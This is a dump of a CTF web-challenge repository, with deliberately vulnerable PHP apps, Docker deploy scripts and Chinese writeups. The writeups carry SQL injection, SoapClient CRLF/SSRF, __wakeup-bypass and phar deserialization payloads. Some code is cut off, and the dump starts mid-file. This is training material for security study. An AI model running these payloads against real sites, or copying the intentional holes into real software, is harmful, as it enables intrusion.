31 | ] + list(b'mysql_native_password') + [
32 | 0, 0,
33 | ])
34 |
35 |
36 | def make_cmd(cmd):
37 | length = struct.pack("" > /app/views/phpinfo
35 | chmod 555 /app/views/phpinfo
36 | rm /app/views/login~
37 | rm /app/views/index~
38 | ## rm sql
39 | cd /tmp/
40 | rm sql.sql
41 |
42 | source /etc/apache2/envvars
43 | tail -F /var/log/apache2/* &
44 | exec apache2 -D FOREGROUND
45 |
--------------------------------------------------------------------------------
/SSRF/n1ctf-2018-easy_harder_php/deploy/sql.sql:
--------------------------------------------------------------------------------
1 | CREATE database nu1lctf;
2 | use nu1lctf;
3 | create table ctf_users (id int PRIMARY KEY AUTO_INCREMENT,username char(100),password char(100),ip char(50),is_admin char(10),allow_diff_ip char(10));
4 | create table ctf_user_signature (id int PRIMARY KEY AUTO_INCREMENT,username char(100),userid int,signature text,mood text);
5 |
6 | insert into ctf_users( `username`,`password`,`ip`,`is_admin`,`allow_diff_ip` ) values ( 'admin','2533f492a796a3227b0c6f91d102cc36','127.0.0.1','1','0');
7 | create database flag;
8 | use flag;
9 | create table flag (id int PRIMARY KEY,flag char(120));
10 | INSERT INTO flag VALUES (1,'n1ctf{php_unserialize_ssrf_crlf_injection_is_easy:p}');
11 | CREATE USER 'Nu1L'@'localhost' IDENTIFIED BY 'Nu1Lpassword233334';
12 | grant all privileges on `nu1lctf`.* to 'Nu1L'@'%' identified by 'Nu1Lpassword233334';
13 |
--------------------------------------------------------------------------------
/SSRF/n1ctf-2018-easy_harder_php/run:
--------------------------------------------------------------------------------
1 | # /bin/bash
2 | docker run -d -p 8006:80 ctf/harder-php
--------------------------------------------------------------------------------
/SSRF/n1ctf-2018-easy_harder_php/writeup/README.md:
--------------------------------------------------------------------------------
1 | # n1ctf
2 |
3 | ## N1CTF Easy&&Hard PHP
4 | 通过扫描可以发现 `index.php~ config.php~ user.php~`
5 |
6 | 阅读 `index.php~` 发现 `views` 目录,列出了目录下文件,可得到源码,同时该处还存在任意文件包含
7 | ```php
8 | if(isset($_GET['action']))
9 | require_once 'views/'.$_GET['action'];
10 | ```
11 |
12 | ### SQL 注入
13 | 在 `config.php` 中,程序对所有输入都进行了过滤
14 | ```php
15 | function addsla_all()
16 | {
17 | if (!get_magic_quotes_gpc())
18 | {
19 | if (!empty($_GET))
20 | {
21 | $_GET = addslashes_deep($_GET);
22 | }
23 | if (!empty($_POST))
24 | {
25 | $_POST = addslashes_deep($_POST);
26 | }
27 | $_COOKIE = addslashes_deep($_COOKIE);
28 | $_REQUEST = addslashes_deep($_REQUEST);
29 | }
30 | }
31 | addsla_all();
32 | ```
33 |
34 | 我们先从注册功能看起,函数调用栈如下:
35 | ```php
36 | $C->register() # views/register
37 | $db->insert() # user.php
38 | $db->getcolumn() # config.php
39 | ```
40 |
41 | ```php
42 | public function insert($columns,$table,$values){
43 |
44 | $column = $this->get_column($columns);
45 | $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
46 | $nid =
47 | $sql = 'insert into '.$table.'('.$column.') values '.$value;
48 | $result = $this->conn->query($sql);
49 |
50 | return $result;
51 | }
52 |
53 | private function get_column($columns){
54 |
55 | if(is_array($columns))
56 | $column = ' `'.implode('`,`',$columns).'` ';
57 | else
58 | $column = ' `'.$columns.'` ';
59 |
60 | return $column;
61 | }
62 | ```
63 |
64 | 发现 `insert` 函数中将所有 `` `xxx` `` 替换成 `'xxx'`,因此可以进行注入,但是由于 `register` 还进行了 `check_username` 处理,继续审计。
65 |
66 | 在 `publish` 中找到漏洞利用点。
67 |
68 | ```php
69 | function publish()
70 | {
71 | ...
72 | if(isset($_POST['signature']) && isset($_POST['mood'])) {
73 |
74 | $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
75 | $db = new Db();
76 | @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
77 | if($ret)
78 | return true;
79 | else
80 | return false;
81 | }
82 | ...
83 | }
84 | ```
85 | 其中 `signature` 参数可控,通过 SQL 注入得到 admin 密码 md5 值,解出为 `nu1ladmin`。
86 | ```sql
87 | signature=1`,if((ascii(substr((select password from ctf_users where is_admin=1),1,1))=113),sleep(3),1))#&mood=1
88 | ```
89 |
90 | 然而还是无法登录,再看 `login` 函数
91 | ```php
92 | function login() {
93 | ...
94 | @$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");
95 |
96 | if($ret)
97 | {
98 |
99 | $user = $ret->fetch_row();
100 | if($user) {
101 | if ($user[4] == '0' && $user[2] !== get_ip())
102 | die("You can only login at the usual address");
103 | if ($user[3] == '1')
104 | $_SESSION['is_admin'] = 1;
105 | else
106 | $_SESSION['is_admin'] = 0;
107 | $_SESSION['userid'] = $user[0];
108 | $_SESSION['username'] = $user[1];
109 | $this->username = $user[1];
110 | $this->userid = $user[0];
111 | return true;
112 | }
113 | else
114 | return false;
115 | }
116 | ...
117 | }
118 | ```
119 | 发现会验证是否同 ip,而 admin 必须来自 127.0.0.1
120 |
121 | ```php
122 | function get_ip(){
123 | return $_SERVER['REMOTE_ADDR'];
124 | }
125 | ```
126 | 查看 `get_ip` 函数,猜测需要通过 SSRF 绕过该限制。继续审计
127 |
128 | ### 反序列化
129 | 在 `user.php` 中找到反序列化漏洞
130 | ```php
131 | function showmess()
132 | {
133 | ...
134 | $db = new Db();
135 | @$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
136 | if($ret) {
137 | $data = array();
138 | while ($row = $ret->fetch_row()) {
139 | $sig = $row[1];
140 | $mood = unserialize($row[2]);
141 | $country = $mood->getcountry();
142 | $ip = $mood->ip;
143 | $subtime = $mood->getsubtime();
144 | $allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
145 | array_push($data, $allmess);
146 | }
147 | ...
148 | }
149 | ```
150 |
151 | 可以通过注入
152 | ```
153 | a`, {serialize object});#
154 | ```
155 | 然后访问 index 页面触发反序列化。
156 |
157 | ### SoapClient 导致的 SSRF
158 |
159 | 因为需要 SSRF,又有反序列化,所以我们需要一个内置类,同时具备发请求的方法。
160 |
161 | 在 PHP 文档中有这样的话
162 | > 在调用一个类的不可访问的方法的时候,就会去调用__call方法。
163 |
164 | 所以我们只需要找到一个类,重载了__call方法,并且可以发请求的就可以了,然后找到了soapClient这个类:
165 |
166 | ```php
167 | public SoapClient ( mixed $wsdl [, array $options ] )
168 | ```
169 |
170 | `$wsdl` 控制是否是 wsdl 模式,如果为 NULL,就是非 wsdl 模式,那么反序列化的时候就会对options中的url进行远程soap请求。
171 |
172 | `options` 数组中的 `uri` 及 `user_agent` 参数可控,可造成 CRLF 漏洞,导致能生成任意报文。
173 |
174 | 利用该类,便可以生成一个利用 `admin` 账户登录的 HTTP 包。
175 |
176 | 有关 SoapClient 为何引起 SSRF 的原理不再赘述,详情建议阅读 wupco 师傅的[文章](https://xz.aliyun.com/t/2148),通过剖析源码介绍的很细致了。
177 |
178 | #### 利用 user_agent 的 CRLF
179 | 因为 `user_agent` 在 HTTP 包中的顺序位于 `Content-Type` 之前,因此可以进行修改
180 |
181 | 来自 wupco 师傅的 PoC:
182 | ```php
183 | $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
191 |
192 | $aaa = serialize($b);
193 | $aaa = str_replace('^^',"\r\n",$aaa);
194 | $aaa = str_replace('&','&',$aaa);
195 | echo bin2hex($aaa);
196 | ?>
197 | ```
198 | 其中,PHPSESSID 使用一个未登录时保存的 PHPSESSID,code 使用该 ID 对应的验证码解出来的值。
199 |
200 | 然后通过 publish 如下数据,并利用该账户访问 index 页面触发反序列化,即可获得 admin 账户
201 | 
202 |
203 | > 一个疑惑:此处在本机利用 PHP (v7.1) 执行 PoC 会多出一个 stream_context 属性,导致执行失败,改用 docker 环境中的 PHP 获取 payload 则没该属性,然后成功拿到 admin 账户
204 |
205 | #### 利用 uri 的 CRLF
206 | 针对 uri 的 CRLF 注入位于 `Content-Type` 后面,无法修改,因此不能像 `user_agent` 那样注入。
207 |
208 | 一次 HTTP 连接中可以同时有多个 HTTP 请求头和请求体,但是当前请求被响应的前提是,前一个请求有 `Connection: Keep-Alive`(测试的时候需要注意Content-Length字段,需把 burp 中的 repeater->update content-length选项关掉)
209 |
210 | 如果我们遇到一个 GET 型的 CRLF 注入,但是我们需要的却是一个 POST 类型的请求,就可以用这种方式,在第一个请求中注入一个 `Connection: Keep-Alive`,然后接着往下注入第二个请求,就可以实现。
211 |
212 | wonderkun 师傅的 PoC:
213 | ```php
214 | $uri = "http://www.baidu.com/?test=blue\r\nContent-Length: 0\r\n\r\n\r\nPOST /index.php?action=login HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: PHPSESSID=52m5ugohiki56gds9c6t71rj92\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 45\r\nConnection: Close\r\n\r\nusername=admin&password=nu1ladmin&code=435137\r\n\r\n\r\n";
215 | $location = "http://127.0.0.1/test"; //注意这里一定不要写 index.php?action=login,否则第一个请求会改变验证码的值
216 | $event = new SoapClient(null,array('location'=>$location,'uri'=>$uri));
217 | echo urlencode(serialize($event));
218 | ```
219 |
220 | ### 上传绕过
221 | 获得 admin 账户后,publish 处可以上传文件。
222 |
223 | upload 函数的代码如下:
224 | ```php
225 | function upload($file) {
226 | $file_size = $file['size'];
227 | if($file_size>2*1024*1024) {
228 | echo "pic is too big!";
229 | return false;
230 | }
231 | $file_type = $file['type'];
232 | if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
233 | echo "file type invalid";
234 | return false;
235 | }
236 | if(is_uploaded_file($file['tmp_name'])) {
237 | $uploaded_file = $file['tmp_name'];
238 | $user_path = "/app/adminpic";
239 | if (!file_exists($user_path)) {
240 | mkdir($user_path);
241 | }
242 | $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
243 | $file_true_name = str_replace('/','',$file_true_name);
244 | $file_true_name = str_replace('\\','',$file_true_name);
245 | $file_true_name = $file_true_name.time().rand(1,100).'.jpg';
246 | $move_to_file = $user_path."/".$file_true_name;
247 | if(move_uploaded_file($uploaded_file,$move_to_file)) {
248 | if(stripos(file_get_contents($move_to_file),'=0)
249 | system('sh /home/nu1lctf/clean_danger.sh');
250 | return $file_true_name;
251 | }
252 | else
253 | return false;
254 | }
255 | else
256 | return false;
257 | }
258 | ```
259 |
260 | 我们重点关注这里
261 | ```php
262 | if(stripos(file_get_contents($move_to_file),'=0)
263 | system('sh /home/nu1lctf/clean_danger.sh');
264 | return $file_true_name;
265 | ```
266 |
267 | 通过文件包含可得到 `clear_danger.sh` 的内容:
268 | ```shell
269 | cd /app/adminpic/
270 | rm *.jpg
271 | ```
272 |
273 | 代码检测文件内容是否包含 `method = $method;
12 | $this->args = $args;
13 |
14 | $this->__conn();
15 | }
16 |
17 | function show() {
18 | list($username) = func_get_args();
19 | $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
20 |
21 | $obj = $this->__query($sql);
22 | if ( $obj != false ) {
23 | $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
24 | } else {
25 | $this->__die("Nobody Nobody But You!");
26 | }
27 |
28 | }
29 |
30 | function login() {
31 | global $FLAG;
32 |
33 | list($username, $password) = func_get_args();
34 | $username = strtolower(trim(mysql_escape_string($username)));
35 | $password = strtolower(trim(mysql_escape_string($password)));
36 |
37 | $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
38 |
39 | if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
40 | $this->__die("Orange is so shy. He do not want to see you.");
41 | }
42 |
43 | $obj = $this->__query($sql);
44 | if ( $obj != false && $obj->role == 'admin' ) {
45 | $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
46 | } else {
47 | $this->__die("Admin only!");
48 | }
49 | }
50 |
51 | function source() {
52 | highlight_file(__FILE__);
53 | }
54 |
55 | function __conn() {
56 | global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
57 |
58 | if (!$this->conn)
59 | $this->conn = mysqli_connect($db_host, $db_user, $db_pass);
60 | mysqli_select_db($this->conn, $db_name);
61 |
62 | if ($DEBUG) {
63 | $sql = "CREATE TABLE IF NOT EXISTS users (
64 | username VARCHAR(64),
65 | password VARCHAR(64),
66 | role VARCHAR(64)
67 | ) CHARACTER SET utf8";
68 | $this->__query($sql, $back=false);
69 |
70 | $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
71 | $this->__query($sql, $back=false);
72 | }
73 |
74 | mysqli_query($this->conn, "SET names utf8");
75 | mysqli_query($this->conn, "SET sql_mode = 'strict_all_tables'");
76 | }
77 |
78 | function __query($sql, $back=true) {
79 | $result = @mysqli_query($this->conn, $sql);
80 | if ($back) {
81 | return @mysqli_fetch_object($result);
82 | }
83 | }
84 |
85 | function __die($msg) {
86 | $this->__close();
87 |
88 | header("Content-Type: application/json");
89 | die( json_encode( array("msg"=> $msg) ) );
90 | }
91 |
92 | function __close() {
93 | mysqli_close($this->conn);
94 | }
95 |
96 | function __destruct() {
97 | $this->__conn();
98 |
99 | if (in_array($this->method, array("show", "login", "source"))) {
100 | @call_user_func_array(array($this, $this->method), $this->args);
101 | } else {
102 | $this->__die("What do you do?");
103 | }
104 |
105 | $this->__close();
106 | }
107 |
108 | function __wakeup() {
109 | foreach($this->args as $k => $v) {
110 | $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
111 | }
112 | }
113 | }
114 |
115 | if(isset($_GET["data"])) {
116 | @unserialize($_GET["data"]);
117 | } else {
118 | new HITCON("source", array());
119 | }
--------------------------------------------------------------------------------
/Unserialization/hitcon-2016-babytrick/deploy/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | service mysql restart
3 |
4 | chown www-data:www-data /app -R
5 |
6 | ## clean danger
7 | rm -rf /var/www/phpinfo
8 | sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php5/cli/php.ini
9 | sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php5/apache2/php.ini
10 |
11 | cd /etc/php5/apache2/conf.d/
12 | rm 20-xdebug.ini
13 | rm 20-memcached.ini
14 | rm 20-memcache.ini
15 |
16 | source /etc/apache2/envvars
17 | tail -F /var/log/apache2/* &
18 | exec apache2 -D FOREGROUND
19 |
20 |
--------------------------------------------------------------------------------
/Unserialization/hitcon-2016-babytrick/run:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker run -d -p 8004:80 ctf/babytrick
--------------------------------------------------------------------------------
/Unserialization/hitcon-2016-babytrick/writeup/README.md:
--------------------------------------------------------------------------------
1 | # Hitcon-2016-babytrick
2 | ```php
3 | method = $method;
14 | $this->args = $args;
15 |
16 | $this->__conn();
17 | }
18 |
19 | function show() {
20 | list($username) = func_get_args();
21 | $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
22 |
23 | $obj = $this->__query($sql);
24 | if ( $obj != false ) {
25 | $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
26 | } else {
27 | $this->__die("Nobody Nobody But You!");
28 | }
29 |
30 | }
31 |
32 | function login() {
33 | global $FLAG;
34 |
35 | list($username, $password) = func_get_args();
36 | $username = strtolower(trim(mysql_escape_string($username)));
37 | $password = strtolower(trim(mysql_escape_string($password)));
38 |
39 | $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
40 |
41 | if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
42 | $this->__die("Orange is so shy. He do not want to see you.");
43 | }
44 |
45 | $obj = $this->__query($sql);
46 | if ( $obj != false && $obj->role == 'admin' ) {
47 | $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
48 | } else {
49 | $this->__die("Admin only!");
50 | }
51 | }
52 |
53 | function source() {
54 | highlight_file(__FILE__);
55 | }
56 |
57 | function __conn() {
58 | global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
59 |
60 | if (!$this->conn)
61 | $this->conn = mysqli_connect($db_host, $db_user, $db_pass);
62 | mysqli_select_db($this->conn, $db_name);
63 |
64 | if ($DEBUG) {
65 | $sql = "CREATE TABLE IF NOT EXISTS users (
66 | username VARCHAR(64),
67 | password VARCHAR(64),
68 | role VARCHAR(64)
69 | ) CHARACTER SET utf8";
70 | $this->__query($sql, $back=false);
71 |
72 | $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
73 | $this->__query($sql, $back=false);
74 | }
75 |
76 | mysqli_query($this->conn, "SET names utf8");
77 | mysqli_query($this->conn, "SET sql_mode = 'strict_all_tables'");
78 | }
79 |
80 | function __query($sql, $back=true) {
81 | $result = @mysqli_query($this->conn, $sql);
82 | if ($back) {
83 | return @mysqli_fetch_object($result);
84 | }
85 | }
86 |
87 | function __die($msg) {
88 | $this->__close();
89 |
90 | header("Content-Type: application/json");
91 | die( json_encode( array("msg"=> $msg) ) );
92 | }
93 |
94 | function __close() {
95 | mysqli_close($this->conn);
96 | }
97 |
98 | function __destruct() {
99 | $this->__conn();
100 |
101 | if (in_array($this->method, array("show", "login", "source"))) {
102 | @call_user_func_array(array($this, $this->method), $this->args);
103 | } else {
104 | $this->__die("What do you do?");
105 | }
106 |
107 | $this->__close();
108 | }
109 |
110 | function __wakeup() {
111 | foreach($this->args as $k => $v) {
112 | $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
113 | }
114 | }
115 | }
116 |
117 | if(isset($_GET["data"])) {
118 | @unserialize($_GET["data"]);
119 | } else {
120 | new HITCON("source", array());
121 | }
122 | ```
123 |
124 | 很容易发现 `show` 函数存在 SQL 注入,因此思路是通过反序列化执行该函数,并传入 SQL 注入语句。
125 |
126 | 然而 `__wakeup` 函数会对输入进行过滤,无法顺利注入,绕过方法就是 CVE-2016-7124
127 |
128 | ## CVE-2016-7124
129 | 该 CVE 简单说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过 `__wakeup` 的执行。
130 |
131 | ```php
132 | method = $method;
140 | $this->args = $args;
141 | }
142 | }
143 |
144 | $sql = array("a' union select password,1,1 from users where username='orange'%23");
145 | $pass = new HITCON("show", $sql);
146 | echo urlencode(serialize($pass));
147 | # O%3A6%3A%22HITCON%22%3A3%3A%7Bs%3A14%3A%22%00HITCON%00method%22%3Bs%3A4%3A%22show%22%3Bs%3A12%3A%22%00HITCON%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A79%3A%22orange%27+union+select+password%2C1%2C1+from+users+where+username%3D%27orange%27+limit+1%2C1%23%22%3B%7Ds%3A12%3A%22%00HITCON%00conn%22%3Bi%3A0%3B%7D
148 |
149 | # 还需将属性数量增加以绕过 __wakeup 函数,%3A3%3A 中的 3 改大即可
150 | ```
151 |
152 |
153 | ## 字符差异绕过限制
154 | 得到密码后进行下一步 SQL 注入,但是发现有如下限制
155 | ```php
156 | mysqli_query($this->conn, "SET names utf8");
157 | ...
158 | if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
159 | $this->__die("Orange is so shy. He do not want to see you.");
160 | }
161 | ```
162 |
163 | 猪猪侠提到过这样的 tip(MySQL 官方文档也有类似的话):
164 | > MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。
165 |
166 | 因此可以利用 Ä 替换 A 来绕过过滤。
167 |
168 | ```php
169 | method = $method;
177 | $this->args = $args;
178 | }
179 | }
180 |
181 | $user['username'] = 'ORÄNGE';
182 | $user['password'] = 'babytrick1234';
183 | $data = new HITCON('login', $user);
184 | echo urlencode(serialize($data));
185 | # O%3A6%3A%22HITCON%22%3A3%3A%7Bs%3A14%3A%22%00HITCON%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00HITCON%00args%22%3Ba%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22OR%C3%84NGE%22%3Bs%3A8%3A%22password%22%3Bs%3A13%3A%22babytrick1234%22%3B%7Ds%3A12%3A%22%00HITCON%00conn%22%3BN%3B%7D%
186 | ```
187 |
188 | ## References
189 | [hitcon-babytrick题目分析与解答](https://blog.spoock.com/2016/11/08/hitcon-babytrick-writeup/)
190 |
191 |
--------------------------------------------------------------------------------
/Unserialization/hitcon-2017-baby^h-master-php/README.md:
--------------------------------------------------------------------------------
1 | # 来源
2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2017/baby^h-master-php-2017/](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2017/baby%5Eh-master-php-2017)
3 |
4 | [hitconDockerfile/hitcon-ctf-2017/baby^h-master-php-2017/](https://github.com/Pr0phet/hitconDockerfile/tree/master/hitcon-ctf-2017/baby%5Eh-master-php-2017)
--------------------------------------------------------------------------------
/Unserialization/hitcon-2017-baby^h-master-php/build:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t="ctf/baby-master-php" ./deploy
--------------------------------------------------------------------------------
/Unserialization/hitcon-2017-baby^h-master-php/deploy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
4 |
5 | ENV TZ=Asia/Shanghai
6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
7 |
8 | RUN apt-get update -y
9 |
10 | # 安装 PHP 及 apache
11 | RUN apt-get install -y apache2 \
12 | php7.0 \
13 | libapache2-mod-php7.0 \
14 | php7.0-cli
15 |
16 | # 安装 crontab,每天 4 点清空 sandbox
17 | RUN apt-get install -y cron
18 | RUN echo '0 4 * * * root rm -rf /var/www/data/*' >> /etc/crontab
19 |
20 | # 文件移动
21 | COPY default /etc/apache2/sites-available/000-default.conf
22 |
23 | COPY ./src/index.php /var/www/html/index.php
24 | COPY ./src/read_flag /read_flag
25 | COPY ./src/read_secret /read_secret
26 | COPY ./start.sh /start.sh
27 | RUN rm /var/www/html/*.html
28 | RUN chmod a+x /start.sh
29 | RUN a2enmod rewrite
30 |
31 |
32 | # 题目环境
33 | RUN chmod u+s /read_flag
34 | RUN chown -R www-data:www-data /var/www/html \
35 | && ln -s /var/www/html /html
36 |
37 | RUN mkdir /var/www/data
38 | RUN chown www-data /var/www/data
39 | RUN chmod -R 775 /var/www/data
40 | RUN echo 'hitcon{Th3 d4rk fl4m3 PHP Mast3r}' > /flag
41 | RUN chmod 700 /flag
42 |
43 | # 清除
44 | RUN apt-get clean \
45 | && rm -rf /var/lib/apt/lists/*
46 |
47 | EXPOSE 80
48 | CMD ["/start.sh"]
--------------------------------------------------------------------------------
/Unserialization/hitcon-2017-baby^h-master-php/deploy/default:
--------------------------------------------------------------------------------
1 |
2 | # The ServerName directive sets the request scheme, hostname and port that
3 | # the server uses to identify itself. This is used when creating
4 | # redirection URLs. In the context of virtual hosts, the ServerName
5 | # specifies what hostname must appear in the request's Host: header to
6 | # match this virtual host. For the default virtual host (this file) this
7 | # value is not decisive as it is used as a last resort host regardless.
8 | # However, you must set it for any further virtual host explicitly.
9 | #ServerName www.example.com
10 |
11 | ServerAdmin webmaster@localhost
12 | DocumentRoot /var/www/html
13 |
14 |
15 | AllowOverride All
16 | Require all granted
17 |
18 |
19 | # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
20 | # error, crit, alert, emerg.
21 | # It is also possible to configure the loglevel for particular
22 | # modules, e.g.
23 | #LogLevel info ssl:warn
24 |
25 | ErrorLog /dev/stdout
26 | CustomLog /dev/stdout combined
27 |
28 | # For most configuration files from conf-available/, which are
29 | # enabled or disabled at a global level, it is possible to
30 | # include a line for only one particular virtual host. For example the
31 | # following line enables the CGI configuration for this host only
32 | # after it has been globally disabled with "a2disconf".
33 | #Include conf-available/serve-cgi-bin.conf
34 |
--------------------------------------------------------------------------------
/Unserialization/hitcon-2017-baby^h-master-php/deploy/src/index.php:
--------------------------------------------------------------------------------
1 | avatar = $path;
18 | }
19 | }
20 |
21 | class Admin extends User {
22 | function __destruct(){
23 | $random = bin2hex(openssl_random_pseudo_bytes(32));
24 | eval("function my_function_$random() {"
25 | ." global \$FLAG; \$FLAG();"
26 | ."}");
27 | $_GET["lucky"]();
28 | }
29 | }
30 |
31 | function check_session() {
32 | global $SECRET;
33 | $data = $_COOKIE["session-data"];
34 | list($data, $hmac) = explode("-----", $data, 2);
35 | if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
36 | die("Bye");
37 | if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
38 | die("Bye Bye");
39 |
40 | $data = unserialize($data);
41 | if ( !isset($data->avatar) )
42 | die("Bye Bye Bye");
43 | return $data->avatar;
44 | }
45 |
46 | function upload($path) {
47 | $data = file_get_contents($_GET["url"] . "/avatar.gif");
48 | if (substr($data, 0, 6) !== "GIF89a")
49 | die("Fuck off");
50 | file_put_contents($path . "/avatar.gif", $data);
51 | die("Upload OK");
52 | }
53 |
54 | function show($path) {
55 | if ( !file_exists($path . "/avatar.gif") )
56 | $path = "/var/www/html";
57 | header("Content-Type: image/gif");
58 | die(file_get_contents($path . "/avatar.gif"));
59 | }
60 |
61 | $mode = $_GET["m"];
62 | if ($mode == "upload")
63 | upload(check_session());
64 | else if ($mode == "show")
65 | show(check_session());
66 | else
67 | highlight_file(__FILE__);
68 |
--------------------------------------------------------------------------------
/Unserialization/hitcon-2017-baby^h-master-php/deploy/src/read_flag:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/hitcon-2017-baby^h-master-php/deploy/src/read_flag
--------------------------------------------------------------------------------
/Unserialization/hitcon-2017-baby^h-master-php/deploy/src/read_secret:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/hitcon-2017-baby^h-master-php/deploy/src/read_secret
--------------------------------------------------------------------------------
/Unserialization/hitcon-2017-baby^h-master-php/deploy/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #Configure the apache2
4 | sed 's/Indexes //' /etc/apache2/apache2.conf > /etc/apache2/apache2.conf.new
5 | sed 's/MaxConnectionsPerChild 0/MaxConnectionsPerChild 100/' /etc/apache2/mods-available/mpm_prefork.conf > /etc/apache2/mods-available/mpm_prefork.conf.new
6 | mv /etc/apache2/apache2.conf.new /etc/apache2/apache2.conf
7 | mv /etc/apache2/mods-available/mpm_prefork.conf.new /etc/apache2/mods-available/mpm_prefork.conf
8 | echo '\n\tphp_flag engine off\n' >> /etc/apache2/sites-enabled/000-default.conf
9 |
10 |
11 | service cron start
12 |
13 |
14 | /usr/bin/tail -f /dev/null
--------------------------------------------------------------------------------
/Unserialization/hitcon-2017-baby^h-master-php/run:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker run -d -p 8007:80 ctf/baby-master-php
--------------------------------------------------------------------------------
/Unserialization/hitcon-2017-baby^h-master-php/writeup/README.md:
--------------------------------------------------------------------------------
1 | # hitcon-2017-baby^h-master-php
2 |
3 | 题目直接给出源码
4 |
5 | ```php
6 | avatar = $path;
23 | }
24 | }
25 |
26 | class Admin extends User {
27 | function __destruct(){
28 | $random = bin2hex(openssl_random_pseudo_bytes(32));
29 | eval("function my_function_$random() {"
30 | ." global \$FLAG; \$FLAG();"
31 | ."}");
32 | $_GET["lucky"]();
33 | }
34 | }
35 |
36 | function check_session() {
37 | global $SECRET;
38 | $data = $_COOKIE["session-data"];
39 | list($data, $hmac) = explode("-----", $data, 2);
40 | if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
41 | die("Bye");
42 | if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
43 | die("Bye Bye");
44 |
45 | $data = unserialize($data);
46 | if ( !isset($data->avatar) )
47 | die("Bye Bye Bye");
48 | return $data->avatar;
49 | }
50 |
51 | function upload($path) {
52 | $data = file_get_contents($_GET["url"] . "/avatar.gif");
53 | if (substr($data, 0, 6) !== "GIF89a")
54 | die("Fuck off");
55 | file_put_contents($path . "/avatar.gif", $data);
56 | die("Upload OK");
57 | }
58 |
59 | function show($path) {
60 | if ( !file_exists($path . "/avatar.gif") )
61 | $path = "/var/www/html";
62 | header("Content-Type: image/gif");
63 | die(file_get_contents($path . "/avatar.gif"));
64 | }
65 |
66 | $mode = $_GET["m"];
67 | if ($mode == "upload")
68 | upload(check_session());
69 | else if ($mode == "show")
70 | show(check_session());
71 | else
72 | highlight_file(__FILE__);
73 | ```
74 |
75 | 可以看出 flag 在 `Admin` 类中,如果能构造反序列化触发 `__destruct` 函数就能获取 flag
76 |
77 | ## phar 反序列化
78 |
79 | 简单的说,当使用 phar:// 协议读取 phar 文件的时候,文件内容会被解析成 phar 对象,然后 phar 对象内的 Metadata 信息会被反序列化。
80 |
81 | 在 `upload` 函数中调用了 `file_get_content()` 函数,可以利用 `phar://` 协议读取本地 `phar` 文件(phar协议不支持远程文件)
82 |
83 | 因此只需在 VPS 生成一个 phar 文件, `metadata` 设置为 Admin 对象,就能调用 `__destruct` 函数,然后利用 upload 访问 `?m=upload&url=http://ip` 写到服务器
84 |
85 | p牛的 PoC:
